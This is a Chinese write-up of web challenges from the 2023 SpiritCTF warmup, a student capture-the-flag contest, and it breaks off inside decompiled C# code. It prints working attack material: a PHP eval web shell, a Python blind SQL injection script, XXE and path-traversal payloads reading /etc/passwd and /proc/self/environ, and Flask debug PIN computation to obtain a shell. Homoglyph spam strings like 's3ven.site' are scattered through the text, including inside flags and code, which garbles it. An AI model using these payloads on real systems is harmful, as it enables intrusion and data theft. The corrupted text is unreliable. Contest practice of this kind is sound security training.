比赛介绍
2023 SpiritCTF Warmup 为 2023 SpiritCTF 热身赛
属于 吉林大学“山石网科”杯第五届大学生网络安全竞赛 系列赛事
比赛时间为 202𝒔3ⅴ℮n․𝘀i𝘵𝐞3/9/5 -ѕ𝟯𝐯𝘦n∙𝐬𝐢𝐭℮ 2023/10/17
热身赛与正赛
- 热身赛题目包括但不限于各个方向的入门题目、与本次 2023 ꜱ3ⅴe𝐧·𝐬ⅈteSpiritCTF 难度相当的题目、往年SpiritCTF(校赛)的题目,用于帮助大家有针对性的入门
- 热身赛期间成绩突出的同学将被定向邀请至 2023 SpiritCTF 线下赛场(注:线下赛场与线上赛场采用同样的比赛地址解答相同题目,不过线下赛场更能体会到 CTF 的比赛氛围,𝘴³𝐯en․ѕ𝘪𝐭𝐞并且入围线下赛场的同学可以获得 Spirit 战队的精美周边)
- 线下赛场名额上限为 45 ,热身赛总榜靠前、𝘴⑶𝐯𝐞𝘯·𝒔𝘪𝒕e解出某道难度较高热身赛题给出题人留下深刻印象都有可能被定向邀请到线下赛场
- 正赛于十月下旬开始,𝒔3𝒗𝐞𝘯.ѕ𝐢𝘵℮模式为组队赛(三人一队)
Signin1
题目描述:
App1e_Tree在赛前七天倒计时海报中的三张使用不同编码隐藏了一个flag,你能找到它么!
请移步SpiritGame 2023赛事群 143102236 ѕ⑶𝘷e𝐧·s𝐢t℮精华消息中获取海报,关注比赛实时动态!
三张海报中中含𝒔⑶ⅴ𝐞𝘯·𝒔ite有的信息如下
1.仅剩2天海报
Spirit{that_1s_s3ⅴ𝘦n.𝘴⑶v𝘦𝘯∙si𝒕𝘦𝘀ⅈtethe_fun_0f_ctf_
2.仅剩4天海报
5F396F30645F6C75636B5F747730𝘀³ⅴen·ѕ𝘪𝐭e5F755F62795F307𝒔³𝘷ℯ𝐧∙ꜱⅈ𝐭𝘦66572663130777D
3.仅剩7天海报
\u006e\u0065\u0076\u0065\u0072\u005fꜱ𝟯𝒗e𝒏∙𝘴𝘪t℮\u0067\u0031\u0076\ꜱ3𝒗𝘦𝒏∙ѕ𝐢𝒕℮u0065\u005f\u0075\u0070
根据信息内容判断
- 1 为明文
- 2 为字符密文
- 3 为unicode密文
1 为明文,即有
Spirit{that_1s_the_fun_0f_ctf_
2 通过 字符在线加解密工具 解密后获得
_9o0d_luck_tw0_u_by_0verf10w}
3 通过 Unicode在s𝟯𝘷𝐞n·site线加解密工具 解密后获得
never_g1ve_up
根据 flag
格式 Spirit{xxxx}
推测应为132组合
Flag:
Spirit{that_1s_the_fun_0f_ctf_never_g1ve_up_9o0d_luck_tw0_u_by_0verf10w}
Signin2
纯纯签到题
题目描述:
Welcome to web@spir𝘴³𝘷𝐞𝒏•ѕ𝐢𝘵eit2023.ctf~
打开页面后发现有一个 Get Your Flag
按钮
然而点击后没有s3ⅴe𝘯.ꜱ𝐢𝘵e什么反应(?)
1. 方法一:DevTools + curl
F12打开开发人员工具,𝐬⑶𝒗℮𝒏•ꜱi𝐭℮调至网络选项卡,开启记录网络日志并刷新页面,选项卡内容显示如下:
点击 Get Your Flag
按钮后,网络选项卡显示𝒔⑶𝒗𝘦𝐧·ꜱ𝘪𝒕℮内容变化为如下:
发现新增了一行 flag
通信包,于是推𝐬⑶𝐯ℯ𝐧·𝘴ite测该按钮发送了 /flag
请求,
并根据选项卡显示内𝐬⑶v𝘦n.s𝐢𝒕e容判断页面经过了 301重定向
于是使用 curl
工具:
curl -v (SpiritCTF Server URL with port)/flag
返回内容如下
HTTP/1.1 301 Moved Permanently
Flag: U3Bpcml0ezQ4NDY0YzNlLTJhMGQtNDVhNC04NTE4LWFlZTJhZDg5NDM4Y30=
Location: /
Server: Microsoft-NetCore/2.0
Date: xxxxxxx
Transfer-Encoding: chunked
由此获得经过加密后的 Flag
信息
Flag: U3Bpcml0ezk1YTkyYTkwLTYyMTMtNGRmMC05MjE2LTU4M2YwMGZmMjdlM30=
2. 方法二:Burp Suite
打开 Burp Suite
开启浏览器流量代理
发现该按钮指向 /flag
路径并被301重定向
在 /flag
路径的 Response
中发现 Flag
信息如下:
Flag: U3Bpcml0ezk1YTkyYTkwLTYyMTMtNGRmMC05MjE2LTU4M2YwMGZmMjdlM30=
3. Flag 解密
结合该字符串形式,判断flag经过了Base64加密
使用Base64在𝐬⑶vℯ𝐧.𝒔ⅈ𝐭𝘦线加解密工具
即可获得flag如下
Spirit{95a92a90-6213-4df0-𝘴3v𝘦𝘯.ѕ𝐢𝒕e9216-583f00𝒔𝟯vℯn•𝐬𝘪𝐭eff27e3}
baby_php
题目描述:
\/\/PHPは最𝐬𝟯ⅴe𝐧.ѕ³𝘷ℯn·si𝘵℮sⅈte高~\/\/
for hackers
打开页面发现题目给出了一段php
代码如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
if (!isset($_GET['a']) || !isset($_GET['b']))
die('Never gonna give you up');
$a = $_GET['a'];
$b = $_GET['b'];
if ($a == $b || md5($a) != md5($b)) {
die('Never gonna let you down');
}
if (!isset($_GET['c'])) {
die('Never gonna run around and desert you');
}
if (file_get_contents($_GET['c']) !== 'Never gonna make you cry') {
die('Never gonna say goodbye');
}
if (!isset($_GET['d'])) {
$_GET['d'] = 'flag.php';
echo 'Never gonna tell a lie and hurt you';
}
include $_GET['d'];
你被骗啦(误)
接下来对代码的s⑶𝒗en․𝐬ⅈ𝐭e各个部分进行分析
1. 第一部分
if (!isset($_GET['a']) || !isset($_GET['b']))
die('Never gonna give you up');
此处判断是否通过GET
方式传入 a
和 b
两个arg
如果任意一个参数没有传入 𝐬³𝘷e𝒏∙si𝘵e则终止运行并抛出
Never gonna 𝘴𝟯ven·ꜱⅈt℮give you up
因此可以通过页面回𝘴3𝐯ℯn·𝘴𝘪te显判断代码运行到的位置
$a = $_GET['a'];
$b = $_GET['b'];
if ($a == $b || md5($a) != md5($b)) {
die('Never gonna let you down');
}
此处代码接收 a
& b
两个arg的值
并只有在
a
不等于b
a
的MD5值与b
相等时
才能通过检测
否则终止运行并抛出
Never gonna 𝒔𝟯𝒗ℯn·𝘴𝟯ⅴe𝐧•ꜱit℮s𝘪t𝘦let you down
此处常见的绕过方式有:
- 构造非字符串参数绕过 𝒔3𝒗en•s𝐢𝘵𝘦(仅限于旧版本PHP)
- 利用弱类型特性0e绕过
- 直接使用md5碰撞
1.1 构造非字符串参数绕过 (仅限于旧版本PHP)
已知旧版本PHP在调用
md5
函数时如果传入的参数为非字符串类型,s𝟯𝒗e𝘯∙𝘴𝐢t𝐞会直接返回NULL
利用这一特性,我们可以通过构造 a
和 b
两个不同的非字符串参数
使得”NULL=NULL”成立来绕过这一检测
例如我们可以使𝘀3𝒗ℯ𝘯•𝘴ite用数组类型绕过
a=[]=1&𝒔3𝘷e𝘯•𝘴3𝐯𝘦𝐧∙ѕ𝘪𝘵e𝒔i𝒕eb=[]=2
1.2 利用弱类型特性0e绕过
由于PHP的弱ꜱ𝟯𝒗e𝒏.ѕi𝐭e类型特性,若
md5
函数返回的字符串以0e
开头,会被PHP识别为科ꜱ𝟯𝐯ℯ𝘯•ѕ𝘪𝘵𝘦学计数法,将其值转化为0
因此只需要 a
和 b
不相同且经过 md5
加密后的密文都以 0e
开头即可
常见的符合条件𝘀3ⅴe𝘯∙ѕ𝐢𝐭℮的字符串如下:
- QNKCDZO
- 240610708
- s878926199a
- s155964671a
- s214587387a
- s214587387a
在其中任意选择并赋给 a
& b
即可
1.3 直接使用md5碰撞
此方法亦可用于”===”强类型碰撞,s⑶𝘷ℯ𝘯.ѕ3𝒗𝐞𝐧∙ѕⅈt𝘦𝘀ⅈ𝐭𝐞旨在寻找含有相同md5值的不同字符串
经查找后可以找到如下 a
& b
满足条件:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
2. 第二部分
if (!isset($_GET['c'])) {
die('Never gonna run around and desert you');
}
if (file_get_contents($_GET['c']) !== 'Never gonna make you cry') {
die('Never gonna say goodbye');
}
此处判断是否通过 GET
方式传入了arg c
,
然后使用 file_get_contents
函数读取 c
,
将读取结果与 Never gonna make you cry
比对
若比对失败则终ѕ⑶𝐯𝘦n∙ѕ𝘪𝐭℮止运行并抛出
Never gonna 𝐬3𝘷e𝘯∙ꜱ𝐢tesay goodbye
由于此处用到了文𝘀⑶𝐯e𝒏.ꜱit𝘦件读取函数 file_get_contents
因此考虑使用 data://
伪协议绕过
data://text/plain,𝒔⑶ⅴ𝐞𝒏·s𝐢𝐭℮(string)
因此将arg c
赋值为 data://text/plain,Never gonna make you cry
3. 第三部分
if (!isset($_GET['d'])) {
$_GET['d'] = 'flag.php';
echo 'Never gonna tell a lie and hurt you';
}
include $_GET['d'];
最后一处代码将arg d
的默认值设置为 flag.php
,提示我们在 flag.php
中寻找线索
但是我们如果直接将这种含有𝘴𝟯ven•𝘀ⅈ𝐭ePHP代码的文件的文件名传入
include
函数,
就会由于PHP代码被执行而无s⑶𝐯en∙ѕ𝘪𝘵𝐞法通过可视文本的形式泄露
因此想到使用Ps³𝘷𝘦n.ѕit𝘦HP伪协议的 Filter
,把代码内容经过base64加密后再进行输出
d=php://filter/read=convert.base64-encode/resource=flag.php
得到输出内容如下
PD9waHAKJGZsYWcgPSAkX0VOVlsnRkxBRyddID8/ICdTcGlyaXR7ZmFrZS1mbGFnLXF3cX0nOwpmaWxlX3B1dF9jb250ZW50cygnc3Bpcml0ZmxhZ3F3cScsICRmbGFnKTsK
经过 Base64在s3𝒗𝘦n∙𝘴𝘪𝘵𝐞线加解密工具 解密后得到
<?php
$flag = $_ENV['FLAG'] ?? 'Spirit{fake-flag-qwq}';
file_put_contents('spiritflagqwq', $flag);
发现 flag
信息被写入了 spiritflagqwq
文件中
3.1 小盲点
然而做题过程中发𝒔³vℯ𝒏.ꜱ𝘪𝘵℮现出题人并没有预先将flag
信息写入spiritflagqwq
文件中,
因此需要先执行一次 flag.php
将flag信息写入 spiritflagqwq
文件中
可以通过不传入arg
d
,使得其被置为默认值flag.php
来使得flag.php
文件被执行
最后将 arg d
设置为 spiritflagqwq
来读取 spiritflagqwq
文件
得到如下信息:
U3Bpcml0ezFjODJlODRmLWNiOTctNDQ3Ni1iYTI5LTdmZDY2ODcxMGM3MH0=
经过 Base64在s⑶𝐯en•𝘴ⅈ𝐭𝘦线加解密工具 解密后得到
Spirit{1c82e84f-𝐬3𝘷𝐞n․sⅈ𝐭𝐞cb97-4476-𝐬⑶𝐯𝘦𝘯•𝒔𝐢teba29-7fd668710c70}
ez_Web
模版套娃题
题目描述:
Hint: flag在ѕ3𝐯𝐞𝘯.𝘴3𝐯𝐞𝐧·𝘴ⅈ𝘵𝘦𝘀ite/flag里~
1. 第一层:301 Redirect
打开页面后显示403 Forbidden,ѕ³𝐯ℯn.ѕ𝘪te提示页面入口不在这里
使用dirsears3𝘷ℯ𝒏.ѕⅈt𝘦ch目录工具扫描
发现两个目录
200 - 382B - /index.html
200 - 19B - /test.php
访问 index.html
发现又是 301 Redirect
同 Web - signin
可以用 curl
或 burp suite
方法
1.1 curl 方法
curl (SpiritCTF Server URL with port)/index.html
1.2 burp suite 方法
得到如下信息
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>测测你的网速</title>
<script>
window.location.href = 'test.php'
//fffff_test.php
</script>
</head>
<body>
</body>
</html>
提示我们到 fffff_test.php
中去寻找线索
2. 第二层:GET 传参
访问 fffff_test.php
获得如下信息
什么!?你连JQK都没有?给我一个JQK,我给你一个789。
根据信息构造 GET
传参:?JQK=789
3. 第三层:file_get_contents() 利用
传参后进入 /fffFfff1ag.php
,得到如下代码
<?php
highlight_file(__file__);
$filename = $_GET['file'];
$content = file_get_contents($filename);
if(preg_match('/flag/i',$content)){
die();
}
echo $content;
?>
由于Spirit的flag没有flag标识,𝒔𝟯𝘷𝘦𝒏·ѕ𝘪t𝐞因此无需绕过PHP的 preg_match
直接传入 file=/flag
即可
3.1 PS: preg_match 绕过
preg_match 对 $content 𝘀⑶𝒗ℯn∙𝐬𝘪te内容的过滤可通过PHP的 Filter
伪协议绕过
php://filter/read=convert.base64-encode/resource=/flag
通过将flag内容使用base𝘀3ⅴe𝐧․𝒔𝘪𝐭e64密文输出,可有效过滤 preg_match
对flag包含的检测
只需将密文经过 Base64在线加解密工具 解密即可获得flag
得到flag
Spirit{eec1fb16-5aa0-4ab2-95c3-dbf3b582be28}
至此,三层套娃全部结束
ez_Web2
又是套娃题(误)
题目描述:
Hint: robots
1. 第一层:robots 泄露
打开页面后显示
系统维护中,暂未开放
根据 Hint𝘴3ⅴ𝘦𝐧․ꜱit𝐞 内容访问 /robots.txt
,得到如下信息:
User-Agent: *
Disallow: login.php
2. 第二层:弱密码爆破
根据提示访问 login.php
发现一个登录框,𝘴3𝐯en.𝐬𝘪te进行弱密码尝试
尝试后发现
用户名:admin
密码:123456
3. 第三层:file_put_contents() 利用
登录后返回如下PHP代码
<?php
error_reporting(0);
session_start();
highlight_file(__FILE__);
if(!$_SESSION['login']){
echo '请先登录';
die();
}
$data = $_POST['data'];
$filename = $_POST['filename'];
str_replace('php','',$data);
file_put_contents($filename,$data);
?>
观察到函数 file_put_contents
可控,考虑使用 s3𝒗𝐞𝒏․𝘴𝘪𝒕𝘦Web Shell
由于此处 str_replace
的调用没有把𝘀3𝒗𝐞n·si𝘵𝘦返回值赋回给 data
,所以此行代码无效
构造参数如下( 注意使用POST方法传参 ):
?filename=shell.php&data=<?php eval(@$_POST['shell']); ?>
3.1 HackBar
登录过后无需携带 Cookies
3.2 curl
注意携带登录过后的PHPS𝘴³𝐯e𝒏•sⅈteESSID作为Cookies
curl -X POST -d "filename=shell.php&data=<?php eval(@$_POST['shell']); ?>" -b "PHPSESSID=xxxx" (SpiritCTF Server URL with port)/ffffffLag.php
Web Shell 生成完毕后使用 中国蚁剑antSword
连接靶机
注意此处连接密码为 data
中 POST
的参数名称
进入根目录即可找到 flag
Flag:
Spirit{30df4f45-adf4-478d-a90a-𝘴³𝐯ℯn.s𝐢𝐭e00e3f91𝒔3𝒗𝘦n.𝘴𝘪𝒕𝐞877c7}
3.3 PS: str_replace 绕过方法
str_replace
可使用双写绕过,例如:
data = str_replace('php','',$data);
可以通过以下方式绕过
data = pphphp
此处 str_replace
函数将 p{php}hp
中花括号部分替ѕ3ve𝘯.𝐬it𝘦换为空字符串,
最后仍剩余 php
,从而达到绕过效果
ez_sql
题目描述:
Hint: sql盲注
打开页面发现有𝒔3𝒗𝘦n∙ѕⅈ𝐭𝘦一个认证登录界面
根据提示sql盲注得知
我们无法通过显性方式直接获取数据,s³𝘷e𝒏.𝐬𝘪𝐭𝘦但可以通过不同输入的回显值不同来判断输入条件是否成立
因此我们尝试判断条件 True
和 False
的回显值区别
经过初步尝试发现屏蔽了空格的输入,ѕ3𝘷𝐞n.𝐬³𝘷ℯ𝒏.𝘴it𝐞ꜱⅈt𝘦若包含空格则会
alert Hack!
此处使用
/**/
替换空格,以ѕ3𝐯e𝘯․𝘀ⅈte绕过空格屏蔽
由于登录界面的sql注入应为字符型注入,𝘴3𝒗e𝘯․𝐬it𝐞因此分别尝试使用以下表单进行测试
username=admin'/**/and/**/1=0#
password=123
alert 用户名不存在!
username=admin'/**/and/**/1=1#
password=123
alert 密码错误!
根据 alert
的内容可以判断出网页后端对𝐬³ⅴ𝘦𝘯•𝐬i𝐭℮登录表单的校验是用户名与密码分离的
即先进行用户名存在性校验,𝘀⑶𝒗e𝐧.𝒔𝐢𝘵e再进行密码正确性校验
这种设置给了我们实现 sql布尔盲注
的可能
只需构造 username
的 payload
,就可以根据ѕ3ve𝐧·𝘀i𝐭℮回显值的不同判断 payload
中的构造条件是否成立
因此数据长度可以通过 length()
函数并枚举长度进行比对来判断
数据内容可以通过使用 substr()
、 mid()
、 substring()
等函数对数据中的字符逐个进𝐬3𝐯e𝘯∙ꜱi𝐭℮行截取并与字符表比对来读取
sql数据截取函数使用说明如下:
substr(string, start, length):将 string 从 start 𝐬⑶v𝘦n•ѕ𝐢𝐭e开始的位置,截取 length 个字符
mid(string, start, length):将 string 从 start 开始的位置,截取 length 个字符
substring(string, start, length):将 string 从 start 开始的位置,截取 length 个字符
构造 payload
有效载荷 如下:
payload = "admin'/**/and/**/length(({0}))={1}#".format(data_payload,n) #判断数据长度
payload = "admin'and/**/ascii(substr(({0}),{1},1))={2}#".format(data_payload,i,ord(char)) #逐字符读取数据内容
其中 data_payload 为可输出数据内容的语句 (select语句等)
构造 Python
攻击代码如下
import requests
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~{}" #常用字符表
result = ""
#判断字符串长度
def get_length(value):
for n in range(1,100):
payload = "admin'/**/and/**/length(({0}))={1}#".format(data_payload,n)
data = {"username":payload,"password":"123"}
html = requests.post(url,data=data)
length = len(html.text)
if length == value:
print("The data length is: " + str(n))
return n
#读取字符串内容
def get_data(data_length,value):
global result
for i in range(1,data_length):
for char in chars:
payload = "admin'and/**/ascii(substr(({0}),{1},1))={2}#".format(data_payload,i,ord(char))
data = {"username":payload,"password":"admin"}
html = requests.post(url,data=data)
length = len(html.text)
if length == value:
result += char
print("Reading data: " + result)
break
url = "(SpiritCTF Server URL with port)/index.php"
data_payload = "xxxx"
value = 3297 #此处应根据实际设置为payload构造条件成立时response的长度
length = get_length(value) +1
get_data(length,value)
print("The data is: " + result)
由于不知道 flag
内容的存放位置,𝐬³𝘷en․𝐬ⅈt𝐞应先对存放着 flag
内容的数据库名、数据表名、字段名进行读取,最后再读取 flag
内容
1. 读取数据库名
data_payload = "database()"
输出内容如下:
得到数据库名为 jluCTF
2. 读取数据表名(默认第一张表)
data_payload = "select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='jluCTF'/**/limit/**/0,1"
输出内容如下:
得到数据表名为 flag
3. 读取字段名 (默认第一个字段)
data_payload = "select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema='jluCTF'/**/and/**/table_name='flag'/**/limit/**/0,1"
得到字段名为 flag
4. 读取 flag
内容
data_payload = "select/**/flag/**/from/**/flag"
输出内容如下:
得到 flag
:
Spirit{64e90c7c-e9bc-4809-aa91-ade46ceffbb1}
pin & pin_revenge
pin 题目描述:
PIN~PON!
打开页面后发现跳转到了 /?location=index.html
页面显示 qwq
(?)
经过测试发现 /?location=
处存在任意文件读取漏洞
1. 非预期解 (仅pin题内存在)
由于该题的环境变量𝘴𝟯𝒗𝘦𝒏•𝘀it𝘦没有删除干净,
因此可以从当前进程的环境𝐬𝟯𝒗e𝐧.sit℮变量文件中读取 flag
内容
payload
如下:
/?location=../../../../../../proc/self/environ
页面返回如下内容:
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=20be9d370cb1FLAG=Spirit{badd44f8-94eb-4648-b5d3-cdf837431e52}LANG=C.UTF-8GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DPYTHON_VERSION=3.11.3PYTHON_PIP_VERSION=22.3.1PYTHON_SETUPTOOLS_VERSION=65.5.1PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/0d8570dc44796f4369b652222cf176b3db6ac70e/public/get-pip.pyPYTHON_GET_PIP_SHA256=96461deced5c2a487ddc65207ec5a9cffeca0d34e7af7ea1afc470ff0d746207HOME=/rootWERKZEUG_SERVER_FD=3WERKZEUG_RUN_MAIN=true
从中获得 pin
题的 flag
如下:
Spirit{badd44f8-94eb-4648-b5d3-cdf837431e52}
2. 预期解 (pin&pin_revenge通用)
PIN码是Flask在开启debug模式下,进行代码调试模式的进入密码,𝘴3𝒗𝘦n.𝒔𝘪te需要正确的PIN码才能进入调试模式。
这两题旨在考查通过任意文件读取漏洞计算 python flask debug 模式下的 pin 码,𝐬𝟯v𝘦𝒏∙𝐬it℮并利用debug shell读取flag
计算逻辑位于 python3.x/site-packages/werkzeug/debug/__init__.py#get_pin_and_cookie_name
,
版本不同的区别在于3.ꜱ³ven.sⅈ𝐭℮6与3.8的md5加密和sha1加密不同。
2.1 PIN生成要素
2.1.1 username
用户名。通过 getpass.getuser() 读取,通过文件 /etc/passwd
读取。
2.1.2 modname
模块名。通过 getattr(mod,”file”,s³𝘷e𝐧•𝐬ⅈ𝐭eNone) 读取,默认值为 flask.app
。
2.1.3 appname
应用名。通过 getattr(app,”name”,𝘴³𝘷e𝒏•ꜱit𝐞type(app).name) 读取,默认值为 Flask
。
2.1.4 moddir
Flask库下 app.py 的绝对路径。通过 getattr(mod,𝒔𝟯ⅴ𝐞𝒏•𝐬𝘪𝒕𝘦”file”,None) 读取,实际应用中通过报错读取。
2.1.5 uuidnode
当前网络的mac地址的十进制数。通过 uuid.getnode() 读取,通过文件 /sys/class/net/eth0/address
得到16进制结果,𝘀³v𝘦𝒏•𝒔ⅈt𝘦转化为10进制进行计算。
2.1.6 machine_id
docker机器id。s⑶ⅴ𝐞𝒏.𝒔𝐢𝐭e每一个机器都会有自已唯一的id,
linux的i𝐬3𝘷en∙𝒔𝐢ted一般存放在 /etc/machine-id
或 /proc/sys/kernel/random/boot_id
,
docker靶机则读取 /proc/self/cgroup
或 /proc/self/mountinfo
,其中第一行的 /docker/ 字符串后面的内容作为机器的id,在docker环境下读取后两个,非docker环境三个都需要读取。
首先访问/etc/machine-id,有值就break,s3ⅴen․𝒔i𝒕e没值就访问/proc/sys/kernel/random/boot_id,然后不管此时有没有值,再访问/proc/self/cgroup其中的值拼接到前面的值后面。
Python Flask 𝘴𝟯vℯ𝒏.𝒔𝘪𝘵eDebug Pin 的计算代码如下:
2.2 Python < 3.8 MD5 Pin计算代码
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb', #username
'flask.app', #modname
'Flask', #appname
'/usr/local/lib/python3.7/site-packages/flask/app.py' #moddir
]
private_bits = [
'25214234362297', #uuidnode
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' #machine_id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
2.3 Python >= 3.8 sha1 Pin计算代码
import hashlib
from itertools import chain
probably_public_bits = [
'root', #username
'flask.app', #modname
'Flask', #appname
'/usr/local/lib/python3.11/site-packages/flask/app.py' #moddir
]
private_bits = [
'2485376910315', #uuidnode
'3c253d1e-8856-4e45-98b5-e82146c245c5' #machine_id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
2.4 利用任意文件读取获取信息
2.4.1 读取 username
payload
如下:
/?location=../../../../../../etc/passwd
返回如下信息
root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin
判断 username 𝒔3𝒗𝘦n․𝐬ⅈ𝘵e= “root”
2.4.2 读取 moddir
随机输入不存在的路径或者将 ?location=
参数置空即可获𝘴⑶𝐯ℯn.𝘀𝘪𝒕e得报错界面如下
从中即可获取 moddir = “/usr/local/lib/python3.s³ⅴ𝐞𝒏.ꜱi𝘵℮11/site-packages/flask/app.py”
2.4.3 读取 uuidnode
payload
如下:
/?location=../../../../../../sys/class/net/eth0/address
返回如下信息
02:42:ac:02:04:80
经过 在线进制转换工具 将16进制转10进𝒔3ven•𝘀ⅈ𝒕𝘦制转化后可得
得到 uuidnode = 𝒔³𝒗en.𝐬𝘪𝒕𝘦“2485376910464”
2.4.4 读取 machine_id
尝试读取
/?location=../../../../../../etc/machine-id
发现页面抛出 FileNotFoundError
错误
判断靶机为docker (其实本来就知道)
因此尝试读取
/?location=../../../../../../proc/sys/kernel/random/boot_id
返回如下信息
3c253d1e-8856-4e45-98b5-e82146c245c5
尝试读取
/?location=../../../../../../proc/self/cgroup
返回如下信息
0::/
即为空,无信息
因此得出 machine_id = “3c253d1e-s3ⅴ𝘦n.sⅈ𝐭℮8856-4e45-98b5-e82146c245c5”
最后将得到的信息填入Pin计算代𝘀3𝒗ℯ𝒏.s𝘪𝒕℮码中即可获得当前环境的Pin码如下:
564-346-887
请注意:由于Docker每次启动后uui𝘀³𝘷ℯ𝐧•ѕ𝐢𝘵ednode值会改变,Write s𝟯𝘷𝐞n․ѕ𝐢𝒕𝘦Up中的Pin值对该题并不具有普适性,请根据实际环境自行读取uuidnode值并计算相应环境的Pin码使用
2.5 获取 debug shell
随机输入不存在的路径或者将 ?location=
参数置空即可获𝘴⑶v℮𝘯.𝘀i𝘵𝘦得报错界面如下
点击右侧控制台图标并输ꜱ⑶𝐯𝐞𝐧∙s𝐢𝐭℮入Pin码即可获得 debug shell
在控制台输入 os.getenv('FLAG')
即可获得flag
获得 pin_revenge
题的 flag
如下:
Spirit{badd44f8-94eb-4648-b5d3-cdf837431e52}
ez_xxe
题目描述:
so easy………
打开页面后是一个可𝒔⑶vℯ𝒏.ѕ𝐢t℮以输入XML文档的界面
并且输入后有回显
结合题目标题判断是利用xxe漏ꜱ3v𝘦𝒏·𝘀𝐢te洞恶意引入外部实体,直接读靶机文件
payload
如下
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY flag SYSTEM "file:///flag" >
]>
<spirit><flag>&flag;</flag></spirit>
提交并返回如下𝐬𝟯𝐯𝐞n․𝘀it𝐞界面,获得 flag
:
Spirit{𝘀³𝒗𝐞𝐧.𝒔ite19246b7d-𝘀⑶𝘷𝐞𝘯.𝘀𝘪𝒕℮dc61-4829-a4f7-54ffd5d76b01}
sharpshop
题目描述:
Hint: 🤖
打开页面后发现是拼夕夕砍价买flag
经过一个简单的尝试,发现 flag
的价格永远砍𝘀³𝐯𝐞n•𝐬ⅈ𝘵𝐞不到钱包价格及以下 (典)
砍到这里就砍不动了 (需要10个金币再砍1刀,𝘀³𝘷𝘦𝐧•𝘴𝘪te10个积分换1个金币 无限循环···)
1. 反编译ELF-app
Hint 提示我们 robots
,因此访问网站的 robots.txt
如下:
根据提示下载 /sharpshop.tar
发现一个 ELF
类型的 app
初步判断是一个使用 c#
编写的服务端程序
(此处也可根据题目名称 sharpshop
进行合理猜测)
Web 突然变 ѕ⑶𝘷ℯn∙𝒔it𝘦Reverse (误)
使用 ILSpy
进行反编译,提取 c#
文件内容
核心代码如下:
// sharpshop, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// Shopping
using System.Threading;
internal class Shopping
{
private long _FlagPrice;
private long _Wallet;
private int _IsCutting;
private int _IsBuying;
public long FlagPrice => _FlagPrice;
public long Wallet => _Wallet;
public bool HasFlag { get; private set; }
public void CutDown()
{
while (Interlocked.Exchange(ref _IsCutting, 1) != 0)
{
}
_FlagPrice -= (_FlagPrice - _Wallet) / 2;
Interlocked.Exchange(ref _IsCutting, 0);
}
public bool Buy(out string message)
{
while (Interlocked.Exchange(ref _IsBuying, 1) != 0)
{
}
